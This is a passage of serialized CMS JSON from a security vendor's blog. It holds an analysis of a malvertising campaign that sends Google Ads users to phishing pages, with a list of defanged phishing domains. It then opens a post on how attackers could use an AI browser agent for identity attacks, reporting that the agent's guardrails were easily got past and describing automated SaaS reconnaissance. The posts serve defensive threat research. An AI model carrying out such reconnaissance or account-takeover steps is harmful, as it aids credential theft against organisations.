],{"data":66933,"content":66934,"nodeType":883},{"uri":3751},[66935],{"data":66936,"marks":66937,"value":55642,"nodeType":864},{},[66938],{"type":1455},{"data":66940,"marks":66941,"value":55646,"nodeType":864},{},[],{"data":66943,"content":66944,"nodeType":883},{"uri":55649},[66945],{"data":66946,"marks":66947,"value":13731,"nodeType":864},{},[66948],{"type":1455},{"data":66950,"marks":66951,"value":55658,"nodeType":864},{},[],{"data":66953,"content":66954,"nodeType":860},{},[66955],{"data":66956,"marks":66957,"value":55667,"nodeType":864},{},[66958,66959],{"type":899},{"type":1455},{"data":66961,"content":66962,"nodeType":860},{},[66963],{"data":66964,"marks":66965,"value":55674,"nodeType":864},{},[],{"data":66967,"content":66968,"nodeType":860},{},[66969],{"data":66970,"marks":66971,"value":55683,"nodeType":864},{},[66972,66973],{"type":899},{"type":1455},{"data":66975,"content":66976,"nodeType":860},{},[66977,66980,66987],{"data":66978,"marks":66979,"value":55690,"nodeType":864},{},[],{"data":66981,"content":66982,"nodeType":883},{"uri":55649},[66983],{"data":66984,"marks":66985,"value":13731,"nodeType":864},{},[66986],{"type":1455},{"data":66988,"marks":66989,"value":55701,"nodeType":864},{},[],{"data":66991,"content":66994,"nodeType":996},{"target":66992},{"sys":66993},{"id":55706,"type":1001,"linkType":1002},[],{"data":66996,"content":66997,"nodeType":860},{},[66998],{"data":66999,"marks":67000,"value":55716,"nodeType":864},{},[67001,67002],{"type":899},{"type":1455},{"data":67004,"content":67005,"nodeType":860},{},[67006],{"data":67007,"marks":67008,"value":55723,"nodeType":864},{},[],{"data":67010,"content":67011,"nodeType":860},{},[67012],{"data":67013,"marks":67014,"value":55732,"nodeType":864},{},[67015,67016],{"type":899},{"type":1455},{"data":67018,"content":67019,"nodeType":860},{},[67020,67023,67029,67032,67038,67041,67047],{"data":67021,"marks":67022,"value":55739,"nodeType":864},{},[],{"data":67024,"content":67025,"nodeType":883},{"uri":55742},[67026],{"data":67027,"marks":67028,"value":55747,"nodeType":864},{},[],{"data":67030,"marks":67031,"value":902,"nodeType":864},{},[],{"data":67033,"content":67034,"nodeType":883},{"uri":55753},[67035],{"data":67036,"marks":67037,"value":55758,"nodeType":864},{},[],{"data":67039,"marks":67040,"value":55762,"nodeType":864},{},[],{"data":67042,"content":67043,"nodeType":883},{"uri":6259},[67044],{"data":67045,"marks":67046,"value":55769,"nodeType":864},{},[],{"data":67048,"marks":67049,"value":55773,"nodeType":864},{},[],{"data":67051,"content":67052,"nodeType":1005},{},[],{"data":67054,"content":67055,"nodeType":1312},{},[67056],{"data":67057,"marks":67058,"value":55784,"nodeType":864},{},[67059],{"type":899},{"data":67061,"content":67062,"nodeType":860},{},[67063],{"data":67064,"marks":67065,"value":55793,"nodeType":864},{},[67066,67067],{"type":899},{"type":1455},{"data":67069,"content":67070,"nodeType":860},{},[67071,67074,67081],{"data":67072,"marks":67073,"value":55800,"nodeType":864},{},[],{"data":67075,"content":67076,"nodeType":883},{"uri":55803},[67077],{"data":67078,"marks":67079,"value":55809,"nodeType":864},{},[67080],{"type":1455},{"data":67082,"marks":67083,"value":55813,"nodeType":864},{},[],{"data":67085,"content":67086,"nodeType":860},{},[67087],{"data":67088,"marks":67089,"value":55822,"nodeType":864},{},[67090,67091],{"type":899},{"type":1455},{"data":67093,"content":67094,"nodeType":860},{},[67095],{"data":67096,"marks":67097,"value":55829,"nodeType":864},{},[],{"data":67099,"content":67100,"nodeType":860},{},[67101],{"data":67102,"marks":67103,"value":55838,"nodeType":864},{},[67104,67105],{"type":899},{"type":1455},{"data":67107,"content":67108,"nodeType":860},{},[67109,67112,67119,67122,67129],{"data":67110,"marks":67111,"value":55845,"nodeType":864},{},[],{"data":67113,"content":67114,"nodeType":883},{"uri":55848},[67115],{"data":67116,"marks":67117,"value":55854,"nodeType":864},{},[67118],{"type":1455},{"data":67120,"marks":67121,"value":55858,"nodeType":864},{},[],{"data":67123,"content":67124,"nodeType":883},{"uri":55861},[67125],{"data":67126,"marks":67127,"value":55867,"nodeType":864},{},[67128],{"type":1455},{"data":67130,"marks":67131,"value":55871,"nodeType":864},{},[],{"data":67133,"content":67136,"nodeType":996},{"target":67134},{"sys":67135},{"id":55876,"type":1001,"linkType":1002},[],{"data":67138,"content":67139,"nodeType":860},{},[67140],{"data":67141,"marks":67142,"value":55886,"nodeType":864},{},[67143,67144],{"type":899},{"type":1455},{"data":67146,"content":67147,"nodeType":860},{},[67148],{"data":67149,"marks":67150,"value":55893,"nodeType":864},{},[],{"data":67152,"content":67155,"nodeType":996},{"target":67153},{"sys":67154},{"id":55898,"type":1001,"linkType":1002},[],{"data":67157,"content":67158,"nodeType":1005},{},[],{"data":67160,"content":67161,"nodeType":1312},{},[67162],{"data":67163,"marks":67164,"value":694,"nodeType":864},{},[67165],{"type":899},{"data":67167,"content":67168,"nodeType":860},{},[67169],{"data":67170,"marks":67171,"value":55918,"nodeType":864},{},[67172,67173],{"type":899},{"type":1455},{"data":67175,"content":67176,"nodeType":860},{},[67177],{"data":67178,"marks":67179,"value":55925,"nodeType":864},{},[],{"data":67181,"content":67182,"nodeType":941},{},[67183,67196,67209],{"data":67184,"content":67185,"nodeType":945},{},[67186],{"data":67187,"content":67188,"nodeType":860},{},[67189,67193],{"data":67190,"marks":67191,"value":55939,"nodeType":864},{},[67192],{"type":899},{"data":67194,"marks":67195,"value":55943,"nodeType":864},{},[],{"data":67197,"content":67198,"nodeType":945},{},[67199],{"data":67200,"content":67201,"nodeType":860},{},[67202,67206],{"data":67203,"marks":67204,"value":55954,"nodeType":864},{},[67205],{"type":899},{"data":67207,"marks":67208,"value":55958,"nodeType":864},{},[],{"data":67210,"content":67211,"nodeType":945},{},[67212],{"data":67213,"content":67214,"nodeType":860},{},[67215,67219,67222,67228],{"data":67216,"marks":67217,"value":55969,"nodeType":864},{},[67218],{"type":899},{"data":67220,"marks":67221,"value":55973,"nodeType":864},{},[],{"data":67223,"content":67224,"nodeType":883},{"uri":55976},[67225],{"data":67226,"marks":67227,"value":55981,"nodeType":864},{},[],{"data":67229,"marks":67230,"value":55985,"nodeType":864},{},[],{"data":67232,"content":67235,"nodeType":996},{"target":67233},{"sys":67234},{"id":55990,"type":1001,"linkType":1002},[],{"data":67237,"content":67238,"nodeType":1005},{},[],{"data":67240,"content":67241,"nodeType":1312},{},[67242],{"data":67243,"marks":67244,"value":699,"nodeType":864},{},[67245],{"type":899},{"data":67247,"content":67248,"nodeType":860},{},[67249],{"data":67250,"marks":67251,"value":56010,"nodeType":864},{},[67252,67253],{"type":899},{"type":1455},{"data":67255,"content":67256,"nodeType":860},{},[67257],{"data":67258,"marks":67259,"value":56017,"nodeType":864},{},[],{"data":67261,"content":67264,"nodeType":996},{"target":67262},{"sys":67263},{"id":56022,"type":1001,"linkType":1002},[],{"data":67266,"content":67267,"nodeType":1005},{},[],{"data":67269,"content":67270,"nodeType":1009},{},[67271],{"data":67272,"marks":67273,"value":5520,"nodeType":864},{},[67274],{"type":899},{"data":67276,"content":67277,"nodeType":860},{},[67278],{"data":67279,"marks":67280,"value":56040,"nodeType":864},{},[],{"data":67282,"content":67283,"nodeType":860},{},[67284],{"data":67285,"marks":67286,"value":56047,"nodeType":864},{},[],{"data":67288,"content":67289,"nodeType":941},{},[67290,67309,67328],{"data":67291,"content":67292,"nodeType":945},{},[67293],{"data":67294,"content":67295,"nodeType":860},{},[67296,67299,67306],{"data":67297,"marks":67298,"value":56060,"nodeType":864},{},[],{"data":67300,"content":67301,"nodeType":883},{"uri":56063},[67302],{"data":67303,"marks":67304,"value":28841,"nodeType":864},{},[67305],{"type":1455},{"data":67307,"marks":67308,"value":26058,"nodeType":864},{},[],{"data":67310,"content":67311,"nodeType":945},{},[67312],{"data":67313,"content":67314,"nodeType":860},{},[67315,67318,67325],{"data":67316,"marks":67317,"value":56081,"nodeType":864},{},[],{"data":67319,"content":67320,"nodeType":883},{"uri":56084},[67321],{"data":67322,"marks":67323,"value":56090,"nodeType":864},{},[67324],{"type":1455},{"data":67326,"marks":67327,"value":26058,"nodeType":864},{},[],{"data":67329,"content":67330,"nodeType":945},{},[67331],{"data":67332,"content":67333,"nodeType":860},{},[67334,67337,67344],{"data":67335,"marks":67336,"value":56103,"nodeType":864},{},[],{"data":67338,"content":67339,"nodeType":883},{"uri":8429},[67340],{"data":67341,"marks":67342,"value":56111,"nodeType":864},{},[67343],{"type":1455},{"data":67345,"marks":67346,"value":26058,"nodeType":864},{},[],{"data":67348,"content":67349,"nodeType":860},{},[67350],{"data":67351,"marks":67352,"value":56121,"nodeType":864},{},[],{"data":67354,"content":67355,"nodeType":941},{},[67356,67369,67382,67395],{"data":67357,"content":67358,"nodeType":945},{},[67359],{"data":67360,"content":67361,"nodeType":860},{},[67362,67366],{"data":67363,"marks":67364,"value":56135,"nodeType":864},{},[67365],{"type":899},{"data":67367,"marks":67368,"value":56139,"nodeType":864},{},[],{"data":67370,"content":67371,"nodeType":945},{},[67372],{"data":67373,"content":67374,"nodeType":860},{},[67375,67379],{"data":67376,"marks":67377,"value":56150,"nodeType":864},{},[67378],{"type":899},{"data":67380,"marks":67381,"value":56154,"nodeType":864},{},[],{"data":67383,"content":67384,"nodeType":945},{},[67385],{"data":67386,"content":67387,"nodeType":860},{},[67388,67392],{"data":67389,"marks":67390,"value":56165,"nodeType":864},{},[67391],{"type":899},{"data":67393,"marks":67394,"value":56169,"nodeType":864},{},[],{"data":67396,"content":67397,"nodeType":945},{},[67398],{"data":67399,"content":67400,"nodeType":860},{},[67401,67405],{"data":67402,"marks":67403,"value":56180,"nodeType":864},{},[67404],{"type":899},{"data":67406,"marks":67407,"value":56184,"nodeType":864},{},[],{"data":67409,"content":67410,"nodeType":860},{},[67411],{"data":67412,"marks":67413,"value":56191,"nodeType":864},{},[],{"data":67415,"content":67416,"nodeType":1005},{},[],{"data":67418,"content":67419,"nodeType":1009},{},[67420],{"data":67421,"marks":67422,"value":56202,"nodeType":864},{},[67423],{"type":899},{"data":67425,"content":67426,"nodeType":860},{},[67427],{"data":67428,"marks":67429,"value":56209,"nodeType":864},{},[],{"data":67431,"content":67432,"nodeType":860},{},[67433],{"data":67434,"marks":67435,"value":56216,"nodeType":864},{},[],{"data":67437,"content":67440,"nodeType":996},{"target":67438},{"sys":67439},{"id":56221,"type":1001,"linkType":1002},[],{"data":67442,"content":67443,"nodeType":1005},{},[],{"data":67445,"content":67446,"nodeType":1009},{},[67447],{"data":67448,"marks":67449,"value":13350,"nodeType":864},{},[67450],{"type":899},{"data":67452,"content":67453,"nodeType":860},{},[67454],{"data":67455,"marks":67456,"value":56239,"nodeType":864},{},[],{"data":67458,"content":67459,"nodeType":860},{},[67460],{"data":67461,"marks":67462,"value":56246,"nodeType":864},{},[],{"data":67464,"content":67465,"nodeType":860},{},[67466],{"data":67467,"marks":67468,"value":56253,"nodeType":864},{},[],{"data":67470,"content":67471,"nodeType":860},{},[67472,67475,67482,67485,67492],{"data":67473,"marks":67474,"value":31569,"nodeType":864},{},[],{"data":67476,"content":67477,"nodeType":883},{"uri":25603},[67478],{"data":67479,"marks":67480,"value":25609,"nodeType":864},{},[67481],{"type":1455},{"data":67483,"marks":67484,"value":56270,"nodeType":864},{},[],{"data":67486,"content":67487,"nodeType":883},{"uri":1700},[67488],{"data":67489,"marks":67490,"value":25633,"nodeType":864},{},[67491],{"type":1455},{"data":67493,"marks":67494,"value":2924,"nodeType":864},{},[],{"items":67496},[67497,67499],{"sys":67498,"name":6593},{"id":6592},{"sys":67500,"name":342},{"id":6596},{"items":67502},[67503],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":67504},{"url":2740},{"__typename":2059,"sys":67506,"content":67508,"title":67878,"synopsis":67879,"hashTags":59,"publishedDate":66111,"slug":67880,"tagsCollection":67881,"authorsCollection":67887},{"id":67507},"72lLmy0CXnOp3LWOdcUguX",{"json":67509},{"data":67510,"content":67511,"nodeType":856},{},[67512,67520,67527,67533,67540,67573,67580,67586,67593,67599,67605,67611,67617,67623,67626,67634,67641,67648,67654,67662,67668,67684,67691,67709,67714,67717,67724,67731,67804,67810,67813,67820,67827,67834,67841,67867,67872],{"data":67513,"content":67514,"nodeType":1009},{},[67515],{"data":67516,"marks":67517,"value":67519,"nodeType":864},{},[67518],{"type":899},"Attack breakdown",{"data":67521,"content":67522,"nodeType":860},{},[67523],{"data":67524,"marks":67525,"value":67526,"nodeType":864},{},[],"We recently detected and blocked a malvertising attack impacting one of our customer’s employees. The employee had searched for “Google ads” in Google Search to log into their Google Ads Manager account.  ",{"data":67528,"content":67532,"nodeType":996},{"target":67529},{"sys":67530},{"id":67531,"type":1001,"linkType":1002},"40RyyKZC0R07wLU1OZBmH",[],{"data":67534,"content":67535,"nodeType":860},{},[67536],{"data":67537,"marks":67538,"value":67539,"nodeType":864},{},[],"The user:",{"data":67541,"content":67542,"nodeType":941},{},[67543,67553,67563],{"data":67544,"content":67545,"nodeType":945},{},[67546],{"data":67547,"content":67548,"nodeType":860},{},[67549],{"data":67550,"marks":67551,"value":67552,"nodeType":864},{},[],"Searched for “Google ads” in Google Search",{"data":67554,"content":67555,"nodeType":945},{},[67556],{"data":67557,"content":67558,"nodeType":860},{},[67559],{"data":67560,"marks":67561,"value":67562,"nodeType":864},{},[],"Click the ad for hxxps://ads-adsword1.odoo.com/…",{"data":67564,"content":67565,"nodeType":945},{},[67566],{"data":67567,"content":67568,"nodeType":860},{},[67569],{"data":67570,"marks":67571,"value":67572,"nodeType":864},{},[],"Was redirected to hxxps://sing-operador2.click/accounts/v3/login/ where the phishing form was blocked. ",{"data":67574,"content":67575,"nodeType":860},{},[67576],{"data":67577,"marks":67578,"value":67579,"nodeType":864},{},[],"When we came to investigate this detection further, we found that the site had already been taken down.  ",{"data":67581,"content":67585,"nodeType":996},{"target":67582},{"sys":67583},{"id":67584,"type":1001,"linkType":1002},"6eAIVxgaEDQ9krKZvu8zyI",[],{"data":67587,"content":67588,"nodeType":860},{},[67589],{"data":67590,"marks":67591,"value":67592,"nodeType":864},{},[],"However, we were able to replicate the user’s activity to find other examples that show clear signs of being linked to the same campaign — both hosted on Odoo, with one also using Kartra as a redirect.",{"data":67594,"content":67598,"nodeType":996},{"target":67595},{"sys":67596},{"id":67597,"type":1001,"linkType":1002},"1wGu0slZcKBNIUhuNk5SZN",[],{"data":67600,"content":67604,"nodeType":996},{"target":67601},{"sys":67602},{"id":67603,"type":1001,"linkType":1002},"5SqaaD4vDzvdkzVX8ypxvB",[],{"data":67606,"content":67610,"nodeType":996},{"target":67607},{"sys":67608},{"id":67609,"type":1001,"linkType":1002},"7IT185wut2jTtQy1lC9F5t",[],{"data":67612,"content":67616,"nodeType":996},{"target":67613},{"sys":67614},{"id":67615,"type":1001,"linkType":1002},"78WkGo9ZTio1fYvfP7W68",[],{"data":67618,"content":67622,"nodeType":996},{"target":67619},{"sys":67620},{"id":67621,"type":1001,"linkType":1002},"5CWMR1gxq3Uao4HGGhRLKE",[],{"data":67624,"content":67625,"nodeType":1005},{},[],{"data":67627,"content":67628,"nodeType":1009},{},[67629],{"data":67630,"marks":67631,"value":67633,"nodeType":864},{},[67632],{"type":899},"Why malvertising & Google ads?",{"data":67635,"content":67636,"nodeType":860},{},[67637],{"data":67638,"marks":67639,"value":67640,"nodeType":864},{},[],"Malvertising attacks delivered over channels like Google Search are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. ",{"data":67642,"content":67643,"nodeType":860},{},[67644],{"data":67645,"marks":67646,"value":67647,"nodeType":864},{},[],"The flipside of this is that malvertising attacks are less likely to be targeted than phishing delivered directly to the victim via a direct message (i.e. email, social media DM, instant messenger app, SMS, etc.). This appears to be true in this case: we were served the ad from a UK location despite the initial ad targeting an EU-based company. ",{"data":67649,"content":67650,"nodeType":860},{},[67651],{"data":67652,"marks":67653,"value":65803,"nodeType":864},{},[],{"data":67655,"content":67656,"nodeType":860},{},[67657],{"data":67658,"marks":67659,"value":67661,"nodeType":864},{},[67660],{"type":899},"In this case, it appears that the attacker was specifically targeting Google Ad Manager accounts. ",{"data":67663,"content":67667,"nodeType":996},{"target":67664},{"sys":67665},{"id":67666,"type":1001,"linkType":1002},"5JA7xWPghOBln49SfkvefW",[],{"data":67669,"content":67670,"nodeType":860},{},[67671,67674,67681],{"data":67672,"marks":67673,"value":65763,"nodeType":864},{},[],{"data":67675,"content":67676,"nodeType":883},{"uri":36457},[67677],{"data":67678,"marks":67679,"value":315,"nodeType":864},{},[67680],{"type":1455},{"data":67682,"marks":67683,"value":65774,"nodeType":864},{},[],{"data":67685,"content":67686,"nodeType":860},{},[67687],{"data":67688,"marks":67689,"value":67690,"nodeType":864},{},[],"Particularly for organizations that are running large numbers of ads with pre-allocated budget/cards for their ad account, or organizations performing ad management/marketing services on behalf of other organizations, it’s easy to see how attackers can take over these accounts and spin up malicious ads. ",{"data":67692,"content":67693,"nodeType":860},{},[67694,67698,67705],{"data":67695,"marks":67696,"value":67697,"nodeType":864},{},[],"Malvertising via Google Search is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches (such as the recent attacks by the “",{"data":67699,"content":67700,"nodeType":883},{"uri":6237},[67701],{"data":67702,"marks":67703,"value":6242,"nodeType":864},{},[67704],{"type":1455},{"data":67706,"marks":67707,"value":67708,"nodeType":864},{},[],"” criminal collective, all of which began with identity-based initial access). For this reason, credentials and account access are an increasingly profitable commodity for cyber criminals. ",{"data":67710,"content":67713,"nodeType":996},{"target":67711},{"sys":67712},{"id":58533,"type":1001,"linkType":1002},[],{"data":67715,"content":67716,"nodeType":1005},{},[],{"data":67718,"content":67719,"nodeType":1009},{},[67720],{"data":67721,"marks":67722,"value":5571,"nodeType":864},{},[67723],{"type":899},{"data":67725,"content":67726,"nodeType":860},{},[67727],{"data":67728,"marks":67729,"value":67730,"nodeType":864},{},[],"The following domains were involved in the attacks:",{"data":67732,"content":67733,"nodeType":941},{},[67734,67744,67754,67764,67774,67784,67794],{"data":67735,"content":67736,"nodeType":945},{},[67737],{"data":67738,"content":67739,"nodeType":860},{},[67740],{"data":67741,"marks":67742,"value":67743,"nodeType":864},{},[],"hxxps://ads-adsword1.odoo.com",{"data":67745,"content":67746,"nodeType":945},{},[67747],{"data":67748,"content":67749,"nodeType":860},{},[67750],{"data":67751,"marks":67752,"value":67753,"nodeType":864},{},[],"hxxps://sing-operador2.click/accounts/v3/login",{"data":67755,"content":67756,"nodeType":945},{},[67757],{"data":67758,"content":67759,"nodeType":860},{},[67760],{"data":67761,"marks":67762,"value":67763,"nodeType":864},{},[],"hxxps://adsgooglie.odoo.com/",{"data":67765,"content":67766,"nodeType":945},{},[67767],{"data":67768,"content":67769,"nodeType":860},{},[67770],{"data":67771,"marks":67772,"value":67773,"nodeType":864},{},[],"hxxps://word4only.online/",{"data":67775,"content":67776,"nodeType":945},{},[67777],{"data":67778,"content":67779,"nodeType":860},{},[67780],{"data":67781,"marks":67782,"value":67783,"nodeType":864},{},[],"hxxps://adsloginacess.kartra.com/page/oeN7",{"data":67785,"content":67786,"nodeType":945},{},[67787],{"data":67788,"content":67789,"nodeType":860},{},[67790],{"data":67791,"marks":67792,"value":67793,"nodeType":864},{},[],"hxxps://ads-o.odoo.com",{"data":67795,"content":67796,"nodeType":945},{},[67797],{"data":67798,"content":67799,"nodeType":860},{},[67800],{"data":67801,"marks":67802,"value":67803,"nodeType":864},{},[],"hxxps://operador8-ads.lat/accounts/v3/login/",{"data":67805,"content":67806,"nodeType":860},{},[67807],{"data":67808,"marks":67809,"value":65866,"nodeType":864},{},[],{"data":67811,"content":67812,"nodeType":1005},{},[],{"data":67814,"content":67815,"nodeType":1009},{},[67816],{"data":67817,"marks":67818,"value":58463,"nodeType":864},{},[67819],{"type":899},{"data":67821,"content":67822,"nodeType":860},{},[67823],{"data":67824,"marks":67825,"value":67826,"nodeType":864},{},[],"Regardless of the delivery channel, all roads lead to a web page accessed in the victim’s browser — where Push is waiting to detect and block the attack. ",{"data":67828,"content":67829,"nodeType":860},{},[67830],{"data":67831,"marks":67832,"value":67833,"nodeType":864},{},[],"By seeing what your users see, and getting an unfiltered, real-time view of the page as it loads, Push is able to pinpoint malicious content, code, and behaviors and shut the attack down before it happens. Whether it's entering credentials onto a phishing page, approving a malicious OAuth grant, installing a risky browser extension, or insecurely accessing an app with a weak password and no MFA, Push detects the action and responds in real-time.",{"data":67835,"content":67836,"nodeType":860},{},[67837],{"data":67838,"marks":67839,"value":67840,"nodeType":864},{},[],"Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":67842,"content":67843,"nodeType":860},{},[67844,67847,67854,67857,67864],{"data":67845,"marks":67846,"value":31569,"nodeType":864},{},[],{"data":67848,"content":67849,"nodeType":883},{"uri":25603},[67850],{"data":67851,"marks":67852,"value":25609,"nodeType":864},{},[67853],{"type":1455},{"data":67855,"marks":67856,"value":56270,"nodeType":864},{},[],{"data":67858,"content":67859,"nodeType":883},{"uri":1700},[67860],{"data":67861,"marks":67862,"value":25633,"nodeType":864},{},[67863],{"type":1455},{"data":67865,"marks":67866,"value":2924,"nodeType":864},{},[],{"data":67868,"content":67871,"nodeType":996},{"target":67869},{"sys":67870},{"id":58533,"type":1001,"linkType":1002},[],{"data":67873,"content":67874,"nodeType":860},{},[67875],{"data":67876,"marks":67877,"value":21,"nodeType":864},{},[],"Analysing a malvertising attack targeting business Google accounts intercepted by Push","Analysing a malvertising attack targeting Google business accounts that was intercepted by Push. ","analysing-a-malvertising-attack-targeting-business-google-accounts",{"items":67882},[67883,67885],{"sys":67884,"name":342},{"id":6596},{"sys":67886,"name":6593},{"id":6592},{"items":67888},[67889],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":67890},{"url":2740},"blog/uncovering-a-calendly-themed-phishing-campaign",{"json":67893},{"data":67894,"content":67895,"nodeType":856},{},[67896],{"data":67897,"content":67898,"nodeType":860},{},[67899],{"data":67900,"marks":67901,"value":67902,"nodeType":864},{},[],"We recently investigated a large-scale phishing campaign that demonstrated a number of advanced detection evasion techniques and social engineering tactics, specifically targeting accounts used to manage business ads. Here’s what you need to know. ","Investigating a phishing campaign targeting Google Ads Manager MCC accounts to propagate malvertising lures. ",{"id":18591,"publishedAt":67905},"2026-08-12T11:53:32.401Z",{"items":67907},[67908,67910],{"sys":67909,"name":6593},{"id":6592},{"sys":67911,"name":342},{"id":6596},{"items":67913},[67914,67916,67918,67920,67922,67924,67926,67928,67930,67932,67934,67936,67938,67940,67942],{"sys":67915,"name":279,"slug":280,"tier":31},{"id":276},{"sys":67917,"name":413,"slug":414,"tier":31},{"id":410},{"sys":67919,"name":519,"slug":520,"tier":31},{"id":516},{"sys":67921,"name":342,"slug":343,"tier":31},{"id":339},{"sys":67923,"name":642,"slug":643,"tier":31},{"id":639},{"sys":67925,"name":261,"slug":262,"tier":45},{"id":258},{"sys":67927,"name":324,"slug":325,"tier":45},{"id":321},{"sys":67929,"name":466,"slug":467,"tier":45},{"id":463},{"sys":67931,"name":571,"slug":572,"tier":45},{"id":568},{"sys":67933,"name":511,"slug":512,"tier":45},{"id":508},{"sys":67935,"name":607,"slug":608,"tier":45},{"id":604},{"sys":67937,"name":440,"slug":441,"tier":45},{"id":437},{"sys":67939,"name":431,"slug":432,"tier":45},{"id":428},{"sys":67941,"name":351,"slug":352,"tier":45},{"id":348},{"sys":67943,"name":244,"slug":245,"tier":45},{"id":241},"ch6LxdA9Rhu9m4h0HjFT_SWRyHszoU4PhvUCTXuEhbA",{"id":67946,"title":67947,"authorsCollection":67948,"content":67953,"extension":228,"faqItemsCollection":68621,"faqTitle":59,"featured":6,"hashTags":59,"meta":68623,"metaTitle":68624,"ogImage":68625,"postType":5740,"publishedDate":68627,"relatedBlogPostsCollection":68628,"slug":71061,"stem":71062,"subtitle":59,"summary":71063,"synopsis":71074,"sys":71075,"tagsCollection":71078,"topicsCollection":71084,"__hash__":71112},"blog/blog/5-ways-attackers-can-use-computer-using-agents-to-automate-identity-attacks.json","5 ways attackers can use Computer-Using Agents to automate identity attacks",{"items":67949},[67950],{"fullName":4949,"firstName":4950,"jobTitle":4951,"socialLinks":67951,"profilePicture":67952},[4953],{"url":4955},{"json":67954,"links":68526},{"data":67955,"content":67956,"nodeType":856},{},[67957,67977,67984,67991,67998,68005,68008,68016,68034,68041,68064,68071,68078,68085,68091,68094,68102,68109,68116,68123,68129,68132,68140,68147,68154,68161,68167,68170,68178,68185,68192,68198,68204,68207,68215,68222,68228,68234,68241,68244,68252,68259,68266,68273,68280,68313,68324,68330,68337,68340,68348,68355,68367,68375,68382,68389,68396,68419,68438,68441,68448,68455,68473,68479,68482,68490,68497,68515,68520],{"data":67958,"content":67959,"nodeType":860},{},[67960,67964,67973],{"data":67961,"marks":67962,"value":67963,"nodeType":864},{},[],"If you want the background on CUAs and OpenAI Operator ",{"data":67965,"content":67967,"nodeType":883},{"uri":67966},"https://pushsecurity.com/blog/considering-the-impact-of-computer-using-agents/",[67968],{"data":67969,"marks":67970,"value":67972,"nodeType":864},{},[67971],{"type":1455},"check out our recent blog post",{"data":67974,"marks":67975,"value":67976,"nodeType":864},{},[],". But, the TL;DR is that Computer-Using Agents (CUAs) are a new type of AI agent that drives your browser/OS for you. ",{"data":67978,"content":67979,"nodeType":860},{},[67980],{"data":67981,"marks":67982,"value":67983,"nodeType":864},{},[],"Unlike traditional AI models that are limited to text-based interactions, CUAs can actually use a web browser like a real person. Think of them as an advanced no-code automation platform driven by AI — capable of navigating login pages, entering credentials, and interacting with SaaS applications at scale. This is a huge leap forward from the most common malicious use cases we’ve seen for AI so far. ",{"data":67985,"content":67986,"nodeType":860},{},[67987],{"data":67988,"marks":67989,"value":67990,"nodeType":864},{},[],"At Push, we’re fully focused on stopping identity attacks. This meant that when we saw the release of Operator, we could only think of one question: How can attackers abuse this?",{"data":67992,"content":67993,"nodeType":860},{},[67994],{"data":67995,"marks":67996,"value":67997,"nodeType":864},{},[],"Full disclosure, this wasn’t an ‘LLM red team’ style exercise, or even anything close. We weren’t interested in verifying how securely data is stored (I mean who cares, these wouldn’t be our credentials if we were a real attacker, right?) and frankly we assumed that the in-app guardrails wouldn’t be robust enough to stop us. And within our first 30 minutes of testing, we were proved correct. ",{"data":67999,"content":68000,"nodeType":860},{},[68001],{"data":68002,"marks":68003,"value":68004,"nodeType":864},{},[],"Here’s what we found. ",{"data":68006,"content":68007,"nodeType":1005},{},[],{"data":68009,"content":68010,"nodeType":1009},{},[68011],{"data":68012,"marks":68013,"value":68015,"nodeType":864},{},[68014],{"type":899},"You can automate (almost) the entire identity kill chain ",{"data":68017,"content":68018,"nodeType":860},{},[68019,68023,68031],{"data":68020,"marks":68021,"value":68022,"nodeType":864},{},[],"For our test, we looked at how Operator could be applied to identity attacks across discrete Cyber Kill Chain stages and the associated Tactics, Techniques, and Procedures (TTPs) as per the ",{"data":68024,"content":68025,"nodeType":883},{"uri":6418},[68026],{"data":68027,"marks":68028,"value":68030,"nodeType":864},{},[68029],{"type":1455},"SaaS attacks matrix",{"data":68032,"marks":68033,"value":25428,"nodeType":864},{},[],{"data":68035,"content":68036,"nodeType":860},{},[68037],{"data":68038,"marks":68039,"value":68040,"nodeType":864},{},[],"One of the key challenges facing attackers when it comes to scaling identity attacks is that of targeting many different internet apps — all of which are:",{"data":68042,"content":68043,"nodeType":941},{},[68044,68054],{"data":68045,"content":68046,"nodeType":945},{},[68047],{"data":68048,"content":68049,"nodeType":860},{},[68050],{"data":68051,"marks":68052,"value":68053,"nodeType":864},{},[],"Complex and highly customized, with a graphically-driven interface that is different every time.",{"data":68055,"content":68056,"nodeType":945},{},[68057],{"data":68058,"content":68059,"nodeType":860},{},[68060],{"data":68061,"marks":68062,"value":68063,"nodeType":864},{},[],"Specifically designed to prevent malicious automation with things like account lockouts and bot protections like CAPTCHA. ",{"data":68065,"content":68066,"nodeType":860},{},[68067],{"data":68068,"marks":68069,"value":68070,"nodeType":864},{},[],"This is a big change from traditional networks, where you could simply port scan and spray credentials, encountering the same protocols and services for every environment you wanted to target.",{"data":68072,"content":68073,"nodeType":860},{},[68074],{"data":68075,"marks":68076,"value":68077,"nodeType":864},{},[],"Now, every app requires custom tooling that needs to be maintained as apps/pages change. Considering that there are more than 40k SaaS apps, this is no small task. ",{"data":68079,"content":68080,"nodeType":860},{},[68081],{"data":68082,"marks":68083,"value":68084,"nodeType":864},{},[],"But we thought: could Operator solve this problem, without any custom development or tooling whatsoever? And what else can it automate following the initial account takeover? ",{"data":68086,"content":68090,"nodeType":996},{"target":68087},{"sys":68088},{"id":68089,"type":1001,"linkType":1002},"6169dNBRXvahtV8VRlxLCJ",[],{"data":68092,"content":68093,"nodeType":1005},{},[],{"data":68095,"content":68096,"nodeType":1009},{},[68097],{"data":68098,"marks":68099,"value":68101,"nodeType":864},{},[68100],{"type":899},"1: Reconnaissance",{"data":68103,"content":68104,"nodeType":860},{},[68105],{"data":68106,"marks":68107,"value":68108,"nodeType":864},{},[],"Recon in the world of SaaS means figuring out which SaaS apps an organization uses, how users authenticate, and where the weak spots are. ",{"data":68110,"content":68111,"nodeType":860},{},[68112],{"data":68113,"marks":68114,"value":68115,"nodeType":864},{},[],"For example, I asked Operator to check whether a company used BambooHR, Atlassian, or Dropbox. Within minutes, the AI had identified valid tenant names, login URLs, and authentication methods for each 